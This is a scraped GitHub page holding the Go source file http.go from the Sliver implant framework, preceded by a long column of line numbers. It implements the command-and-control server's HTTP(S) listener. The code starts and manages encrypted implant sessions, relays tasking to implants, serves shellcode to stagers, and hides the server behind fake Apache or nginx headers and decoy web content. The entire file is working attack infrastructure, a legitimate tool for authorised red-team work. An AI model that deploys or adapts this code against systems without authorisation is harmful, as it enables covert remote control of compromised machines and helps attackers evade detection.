/
http.go
726 lines (657 loc) · 20.9 KB
/
http.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/tls"
"encoding/base64"
"encoding/hex"
"errors"
"fmt"
"io"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/website"
"github.com/bishopfox/sliver/util/encoders"
"github.com/gorilla/mux"
"google.golang.org/protobuf/proto"
)
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrDecryptFailed = errors.New("failed to decrypt request")
)
const (
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultHTTPTimeout = time.Minute
DefaultLongPollTimeout = time.Second
DefaultLongPollJitter = time.Second
minPollTimeout = time.Second
)
var (
serverVersionHeader string
)
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
ImplanConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Started time.Time
}
// HTTPSessions - All currently open HTTP sessions
type HTTPSessions struct {
active map[string]*HTTPSession
mutex *sync.RWMutex
}
// Add - Add an HTTP session
func (s *HTTPSessions) Add(session *HTTPSession) {
s.mutex.Lock()
defer s.mutex.Unlock()
s.active[session.ID] = session
}
// Get - Get an HTTP session
func (s *HTTPSessions) Get(sessionID string) *HTTPSession {
s.mutex.RLock()
defer s.mutex.RUnlock()
return s.active[sessionID]
}
// Remove - Remove an HTTP session
func (s *HTTPSessions) Remove(sessionID string) {
s.mutex.Lock()
defer s.mutex.Unlock()
delete(s.active, sessionID)
}
// HTTPHandler - Path mapped to a handler function
type HTTPHandler func(resp http.ResponseWriter, req *http.Request)
// HTTPServerConfig - Config data for servers
type HTTPServerConfig struct {
Addr string
LPort uint16
Domain string
Website string
Secure bool
Cert []byte
Key []byte
ACME bool
MaxRequestLength int
EnforceOTP bool
LongPollTimeout time.Duration
LongPollJitter time.Duration
}
// SliverHTTPC2 - Holds refs to all the C2 objects
type SliverHTTPC2 struct {
HTTPServer *http.Server
ServerConf *HTTPServerConfig // Server config (user args)
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
c2Config *configs.HTTPC2Config // C2 config (from config file)
}
func (s *SliverHTTPC2) getServerHeader() string {
if serverVersionHeader == "" {
switch insecureRand.Intn(1) {
case 0:
serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
serverVersionHeader = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return serverVersionHeader
}
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
if s.c2Config != nil {
return s.c2Config
}
s.c2Config = configs.GetHTTPC2Config()
return s.c2Config
}
// StartHTTPListener - Start an HTTP(S) listener, this can be used to start both
// HTTP/HTTPS depending on the caller's conf
// TODO: Better error handling, configurable ACME host/port
func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
server := &SliverHTTPC2{
ServerConf: conf,
HTTPSessions: &HTTPSessions{
active: map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
Handler: server.router(),
WriteTimeout: DefaultHTTPTimeout,
ReadTimeout: DefaultHTTPTimeout,
IdleTimeout: DefaultHTTPTimeout,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)),
}
if conf.ACME {
conf.Domain = filepath.Base(conf.Domain) // I don't think we need this, but we do it anyways
httpLog.Infof("Attempting to fetch let's encrypt certificate for '%s' ...", conf.Domain)
acmeManager := certs.GetACMEManager(conf.Domain)
acmeHTTPServer := &http.Server{Addr: ":80", Handler: acmeManager.HTTPHandler(nil)}
go acmeHTTPServer.ListenAndServe()
server.HTTPServer.TLSConfig = &tls.Config{
GetCertificate: acmeManager.GetCertificate,
}
server.Cleanup = func() {
ctx, cancelHTTP := context.WithTimeout(context.Background(), 5*time.Second)
defer cancelHTTP()
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warnf("Failed to shutdown http acme server")
}
ctx, cancelHTTPS := context.WithTimeout(context.Background(), 5*time.Second)
defer cancelHTTPS()
server.HTTPServer.Shutdown(ctx)
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
httpLog.Warn("Failed to shutdown https server")
}
}
} else {
server.HTTPServer.TLSConfig = getHTTPTLSConfig(conf)
server.Cleanup = func() {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
server.HTTPServer.Shutdown(ctx)
if err := server.HTTPServer.Shutdown(ctx); err != nil {
httpLog.Warn("Failed to shutdown https server")
}
}
}
return server, nil
}
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
if conf.Cert == nil || conf.Key == nil {
var err error
if conf.Domain != "" {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
} else {
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
}
if err != nil {
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
return nil
}
}
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
if err != nil {
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
return nil
}
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
}
if certs.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
}
return tlsConfig
}
func (s *SliverHTTPC2) router() *mux.Router {
router := mux.NewRouter()
c2Config := s.LoadC2Config()
if s.ServerConf.MaxRequestLength < 1024 {
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
}
if s.ServerConf.LongPollTimeout == 0 {
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
s.ServerConf.LongPollJitter = DefaultLongPollJitter
}
httpLog.Debugf("HTTP C2 Implant Config = %v", c2Config.ImplantConfig)
httpLog.Debugf("HTTP C2 Server Config = %v", c2Config.ServerConfig)
// Start Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
s.startSessionHandler,
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Session Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
s.sessionHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
// Poll Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
s.pollHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Close Handler
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
s.closeHandler,
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
s.stagerHander,
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
// Default handler returns static content or 404s
httpLog.Debugf("No pattern matches for request uri")
router.HandleFunc("/{rpath:.*}", s.defaultHandler).Methods(http.MethodGet, http.MethodPost)
router.Use(loggingMiddleware)
router.Use(s.DefaultRespHeaders)
return router
}
// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d'", nonce)
return false // NaN
}
return true
}
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
if s.ServerConf.EnforceOTP {
httpLog.Debug("Checking for valid OTP code ...")
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
httpLog.Warnf("Failed to validate OTP: %s", err)
return false
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP: %s", err)
return false
}
if valid {
httpLog.Debug("OTP code is valid")
return true
}
httpLog.Debugf("OTP code (%s) is invalid", otpCode)
return false
} else {
httpLog.Debug("OTP enforcement is disabled")
return true // OTP enforcement is disabled
}
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warn("OTP not found in request")
return "", ErrMissingNonce
}
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
accessLog.Infof("%s - %s - %v", getRemoteAddr(req), req.RequestURI, req.Header.Get("User-Agent"))
next.ServeHTTP(resp, req)
})
}
// DefaultRespHeaders - Configures default response headers
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
if s.c2Config.ServerConfig.RandomVersionHeaders {
resp.Header().Set("Server", s.getServerHeader())
}
for _, header := range s.c2Config.ServerConfig.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < roll {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
next.ServeHTTP(resp, req)
})
}
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) error {
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
if err != nil {
httpLog.Infof("No website content for %s", req.RequestURI)
return err
}
resp.Header().Set("Content-type", contentType)
resp.Write(content)
return nil
}
func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Request) {
// Request does not match the C2 profile so we pass it to the static content or 404 handler
if s.ServerConf.Website != "" {
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
err := s.websiteContentHandler(resp, req)
if err == nil {
return
}
}
httpLog.Debugf("[404] No match for %s", req.RequestURI)
resp.WriteHeader(http.StatusNotFound)
}
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Start http session request")
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return
}
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
s.defaultHandler(resp, req)
return
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
s.defaultHandler(resp, req)
return
}
if len(data) < 32 {
httpLog.Warn("Invalid data length")
s.defaultHandler(resp, req)
return
}
var publicKeyDigest [32]byte
copy(publicKeyDigest[:], data[:32])
implantConfig, err := db.ImplantConfigByECCPublicKeyDigest(publicKeyDigest)
if err != nil || implantConfig == nil {
httpLog.Warn("Unknown public key")
s.defaultHandler(resp, req)
return
}
publicKey, err := base64.RawStdEncoding.DecodeString(implantConfig.ECCPublicKey)
if err != nil || len(publicKey) != 32 {
httpLog.Warn("Failed to decode public key")
s.defaultHandler(resp, req)
return
}
var senderPublicKey [32]byte
copy(senderPublicKey[:], publicKey)
serverKeyPair := cryptography.ECCServerKeyPair()
sessionInitData, err := cryptography.ECCDecrypt(&senderPublicKey, serverKeyPair.Private, data[32:])
if err != nil {
httpLog.Error("ECC decryption failed")
s.defaultHandler(resp, req)
return
}
sessionInit := &sliverpb.HTTPSessionInit{}
err = proto.Unmarshal(sessionInitData, sessionInit)
if err != nil {
httpLog.Error("Failed to decode session init")
return
}
httpSession := newHTTPSession()
sKey, err := cryptography.KeyFromBytes(sessionInit.Key)
if err != nil {
httpLog.Error("Failed to convert bytes to session key")
return
}
httpSession.CipherCtx = cryptography.NewCipherContext(sKey)
httpSession.ImplanConn = core.NewImplantConnection("http(s)", getRemoteAddr(req))
s.HTTPSessions.Add(httpSession)
httpLog.Infof("Started new session with http session id: %s", httpSession.ID)
responseCiphertext, err := httpSession.CipherCtx.Encrypt([]byte(httpSession.ID))
if err != nil {
httpLog.Info("Failed to encrypt session identifier")
s.defaultHandler(resp, req)
return
}
http.SetCookie(resp, &http.Cookie{
Domain: s.ServerConf.Domain,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: false,
HttpOnly: true,
})
resp.Write(encoder.Encode(responseCiphertext))
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
plaintext, err := s.readReqBody(httpSession, resp, req)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
return
}
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
if err != nil {
httpLog.Warnf("Failed to decode request body: %s", err)
s.defaultHandler(resp, req)
return
}
resp.WriteHeader(http.StatusAccepted)
handlers := sliverHandlers.GetHandlers()
if envelope.ID != 0 {
httpSession.ImplanConn.RespMutex.RLock()
defer httpSession.ImplanConn.RespMutex.RUnlock()
if resp, ok := httpSession.ImplanConn.Resp[envelope.ID]; ok {
resp <- envelope
}
} else if handler, ok := handlers[envelope.Type]; ok {
respEnvelope := handler(httpSession.ImplanConn, envelope.Data)
if respEnvelope != nil {
go func() {
httpSession.ImplanConn.Send <- respEnvelope
}()
}
}
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplanConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplanConn.Send:
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
resp.Write(encoder.Encode(ciphertext))
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
resp.Write([]byte{})
}
}
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
s.defaultHandler(resp, req)
return nil, ErrInvalidEncoder
}
body, err := ioutil.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(s.ServerConf.MaxRequestLength),
})
if err != nil {
httpLog.Warnf("Failed to read request body %s", err)
return nil, err
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Warnf("Failed to decode body %s", err)
s.defaultHandler(resp, req)
return nil, ErrDecodeFailed
}
plaintext, err := httpSession.CipherCtx.Decrypt(data)
if err != nil {
httpLog.Warnf("Decryption failure %s", err)
s.defaultHandler(resp, req)
return nil, ErrDecryptFailed
}
return plaintext, err
}
func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
min := s.ServerConf.LongPollTimeout
max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter
timeout := float64(min) + insecureRand.Float64()*(float64(max)-float64(min))
pollTimeout := time.Duration(int64(timeout))
if pollTimeout < minPollTimeout {
httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout)
pollTimeout = minPollTimeout
}
httpLog.Debugf("Poll timeout: %s", pollTimeout)
return pollTimeout
}
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Close request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
s.defaultHandler(resp, req)
return
}
for _, cookie := range req.Cookies() {
cookie.MaxAge = -1
http.SetCookie(resp, cookie)
}
s.HTTPSessions.Remove(httpSession.ID)
resp.WriteHeader(http.StatusAccepted)
}
// stagerHander - Serves the sliver shellcode to the stager requesting it
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Stager request")
if len(s.SliverStage) != 0 {
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
resp.Write(s.SliverStage)
httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
resp.WriteHeader(http.StatusOK)
} else {
resp.WriteHeader(http.StatusNotFound)
}
}
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.ImplanConn.UpdateLastMessage()
return httpSession
}
}
return nil // No valid cookie names
}
func newHTTPSession() *HTTPSession {
return &HTTPSession{
ID: newHTTPSessionID(),
Started: time.Now(),
}
}
// newHTTPSessionID - Get a 128bit session ID
func newHTTPSessionID() string {
buf := make([]byte, 16)
rand.Read(buf)
return hex.EncodeToString(buf)
}
func getRemoteAddr(req *http.Request) string {
ipAddress := req.Header.Get("X-Real-Ip")
if ipAddress == "" {
ipAddress = req.Header.Get("X-Forwarded-For")
}
if ipAddress == "" {
return req.RemoteAddr
}
// Try to parse the header as an IP address, as this is user controllable
// input we don't want to trust it.
ip := net.ParseIP(ipAddress)
if ip == nil {
httpLog.Warn("Failed to parse X-Header as ip address")
return req.RemoteAddr
}
return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())
}